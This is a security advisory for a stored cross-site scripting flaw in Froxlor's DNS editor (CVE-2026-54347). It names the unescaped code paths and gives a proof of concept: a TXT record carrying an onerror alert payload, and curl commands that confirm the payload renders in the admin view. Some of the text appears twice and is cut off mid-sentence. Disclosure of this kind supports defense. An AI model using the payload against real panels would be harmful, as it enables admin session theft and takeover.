CVE-2026-54347

Froxlor is open source server administration software. Prior to 2.3.8, DNS TXT record content accepted by lib/Froxlor/Api/Commands/DomainZones.php can contain HTML special characters, lib/Froxlor/UI/Callbacks/Text.php returns the content from Text::wordwrap without HTML escaping, and templates/Froxlor/table/table.html.twig renders the callback result with the raw filter. An authenticated customer with DNS editor access can store JavaScript-bearing content in a TXT record. When an administrator views the affected domain's DNS configuration, the payload executes automatically in the administrator's browser session, which can expose session data or perform privileged panel actions. This issue is fixed in version 2.3.8.

Froxlor is open source server administration software. Prior to 2.3.8, DNS TXT record content accepted by lib/Froxlor/Api/Commands/DomainZones.php can contain HTML special characters, lib/Froxlor/UI/Callbacks/Text.php returns the content from Text::wordwrap without HTML escaping, and templates/Froxlor/table/table.html.twig renders the callback result with the raw filter. An authenticated customer with DNS editor access can store JavaScript-bearing content in a TXT record. When an administrator views the affected domain's DNS configuration, the payload executes automatically in the administrator's browser session, which can expose session data or perform privileged panel actions. This issue is fixed in version 2.3.8.

Summary

A stored Cross-Site Scripting (XSS) vulnerability in Froxlor's DNS editor allows an authenticated user with DNS editor access (customer role) to inject arbitrary JavaScript into any administrator's browser session. When an administrator views the DNS configuration of an affected domain, the payload executes automatically — enabling complete admin account takeover, credential theft, and full server compromise.

Details

Three code locations combine to create this vulnerability:

1. Input validation does not strip HTML special characters — lib/Froxlor/Api/Commands/DomainZones.php:158

// Only strips non-printable chars. < and > (0x3C/0x3E) pass through unmodified.
$content = preg_replace('/[^\x09\x20-\x7E]/', '', $content);
$content = Dns::encloseTXTContent($content);  // only wraps in quotes, no HTML encoding

2. Display callback returns raw HTML without escaping — lib/Froxlor/UI/Callbacks/Text.php:95

public static function wordwrap(array $attributes): string {
    return wordwrap($attributes['data'], 100, '<br>', true);  // no htmlspecialchars()
}

3. Twig template renders the callback output with |raw — templates/Froxlor/table/table.html.twig:57

{% else %}
    {{ td.data|raw }}   {# string from wordwrap() — rendered without escaping #}
{% endif %}

The DNS editor table assigns [Text::class, 'wordwrap'] as the callback for the content column (lib/tablelisting/tablelisting.dns.php:58). The callback returns a non-iterable string, so the template falls to the |raw branch.

Additionally, the Content Security Policy header (lib/Froxlor/UI/Panel/UI.php:140) includes 'unsafe-inline', rendering CSP completely ineffective as a mitigation:

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; ...

PoC

<img width="2025" height="1144" alt="image" src="https://github.com/user-attachments/assets/f6808b24-c4b6-4bd2-9673-d7ddc4939794" />

Prerequisites: Froxlor running with DNS enabled (system.dnsenabled = 1), at least one domain with DNS editor enabled, and a user account (customer or admin) with DNS editor access.

Step 1 — Inject the payload (via web UI or API as any DNS-enabled user):

Navigate to the DNS editor for any domain, add a TXT record with:

• Record: @
• Type: TXT
• Content: <img src=x onerror=alert(document.domain)>

Step 2 — Trigger:

No interaction is required beyond page navigation. The payload fires automatically on page load the moment any logged-in administrator visits:

http://TARGET/admin_domains.php?page=domaindnseditor&domain_id=<id>

This URL is part of the normal admin workflow (domain management → DNS editor). No clicking, no form submission, no special conditions — visiting the URL is sufficient.

Verify via command line (login + fetch in one line):

T=$(curl -sc /tmp/c http://TARGET/index.php | grep -oP 'csrf-token" content="\K[^"]+') && \
curl -sc /tmp/c -b /tmp/c http://TARGET/index.php \
  -d "loginname=admin&password=PASS&dologin=1&send=send&csrf_token=$T" -o /dev/null && \
curl -sb /tmp/c "http://TARGET/admin_domains.php?page=domaindnseditor&domain_id=ID" \
  | grep -o '<img src=x[^>]*>'

Expected output confirming unescaped payload in page source:

<img src=x onerror=alert(document.domain)>

In a browser session the alert() fires immediately — no clicks required.

Impact

Type: Stored Cross-Site Scripting (Stored XSS)

Who is impacted: Any Froxlor installation with DNS editor functionality enabled. The attack requires a low-privilege customer account with dnsenabled = 1 — a standard feature granted to hosting customers. The victim is any administrator who views the affected domain's DNS configuration.

A real-world attacker would replace alert() with a payload that silently exfiltrates the admin session cookie, then uses it to create a backdoor admin account, read…

Froxlor is open source server administration software. Prior to 2.3.8, DNS TXT record content accepted by lib/Froxlor/Api/Commands/DomainZones.php can contain HTML special characters, lib/Froxlor/UI/Callbacks/Text.php returns the content from Text::wordwrap without HTML escaping, and templates/Froxlor/table/table.html.twig renders the callback result with the raw filter. An authenticated customer with DNS editor access can store JavaScript-bearing content in a TXT record. When an administrator views the affected domain's DNS configuration, the payload executes automatically in the administrator's browser session, which can expose session data or perform privileged panel actions. This issue is fixed in version 2.3.8.

Froxlor is open source server administration software. Prior to 2.3.8, DNS TXT record content accepted by lib/Froxlor/Api/Commands/DomainZones.php can contain HTML special characters, lib/Froxlor/UI/Callbacks/Text.php returns the content from Text::wordwrap without HTML escaping, and templates/Froxlor/table/table.html.twig renders the callback result with the raw filter. An authenticated customer with DNS editor access can store JavaScript-bearing content in a TXT record. When an administrator views the affected domain's DNS configuration, the payload executes automatically in the administrator's browser session, which can expose session data or perform privileged panel actions. This issue is fixed in version 2.3.8.

Summary

A stored Cross-Site Scripting (XSS) vulnerability in Froxlor's DNS editor allows an authenticated user with DNS editor access (customer role) to inject arbitrary JavaScript into any administrator's browser session. When an administrator views the DNS configuration of an affected domain, the payload executes automatically — enabling complete admin account takeover, credential theft, and full server compromise.

Details

Three code locations combine to create this vulnerability:

1. Input validation does not strip HTML special characters — lib/Froxlor/Api/Commands/DomainZones.php:158

// Only strips non-printable chars. < and > (0x3C/0x3E) pass through unmodified.
$content = preg_replace('/[^\x09\x20-\x7E]/', '', $content);
$content = Dns::encloseTXTContent($content);  // only wraps in quotes, no HTML encoding

2. Display callback returns raw HTML without escaping — lib/Froxlor/UI/Callbacks/Text.php:95

public static function wordwrap(array $attributes): string {
    return wordwrap($attributes['data'], 100, '<br>', true);  // no htmlspecialchars()
}

3. Twig template renders the callback output with |raw — templates/Froxlor/table/table.html.twig:57

{% else %}
    {{ td.data|raw }}   {# string from wordwrap() — rendered without escaping #}
{% endif %}

The DNS editor table assigns [Text::class, 'wordwrap'] as the callback for the content column (lib/tablelisting/tablelisting.dns.php:58). The callback returns a non-iterable string, so the template falls to the |raw branch.

Additionally, the Content Security Policy header (lib/Froxlor/UI/Panel/UI.php:140) includes 'unsafe-inline', rendering CSP completely ineffective as a mitigation:

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; ...

PoC

<img width="2025" height="1144" alt="image" src="https://github.com/user-attachments/assets/f6808b24-c4b6-4bd2-9673-d7ddc4939794" />

Prerequisites: Froxlor running with DNS enabled (system.dnsenabled = 1), at least one domain with DNS editor enabled, and a user account (customer or admin) with DNS editor access.

Step 1 — Inject the payload (via web UI or API as any DNS-enabled user):

Navigate to the DNS editor for any domain, add a TXT record with:

• Record: @
• Type: TXT
• Content: <img src=x onerror=alert(document.domain)>

Step 2 — Trigger:

No interaction is required beyond page navigation. The payload fires automatically on page load the moment any logged-in administrator visits:

http://TARGET/admin_domains.php?page=domaindnseditor&domain_id=<id>

This URL is part of the normal admin workflow (domain management → DNS editor). No clicking, no form submission, no special conditions — visiting the URL is sufficient.

Verify via command line (login + fetch in one line):

T=$(curl -sc /tmp/c http://TARGET/index.php | grep -oP 'csrf-token" content="\K[^"]+') && \
curl -sc /tmp/c -b /tmp/c http://TARGET/index.php \
  -d "loginname=admin&password=PASS&dologin=1&send=send&csrf_token=$T" -o /dev/null && \
curl -sb /tmp/c "http://TARGET/admin_domains.php?page=domaindnseditor&domain_id=ID" \
  | grep -o '<img src=x[^>]*>'

Expected output confirming unescaped payload in page source:

<img src=x onerror=alert(document.domain)>

In a browser session the alert() fires immediately — no clicks required.

Impact

Type: Stored Cross-Site Scripting (Stored XSS)

Who is impacted: Any Froxlor installation with DNS editor functionality enabled. The attack requires a low-privilege customer account with dnsenabled = 1 — a standard feature granted to hosting customers. The victim is any administrator who views the affected domain's DNS configuration.

A real-world attacker would replace alert() with a payload that silently exfiltrates the admin session cookie, then uses it to create a backdoor admin account, read…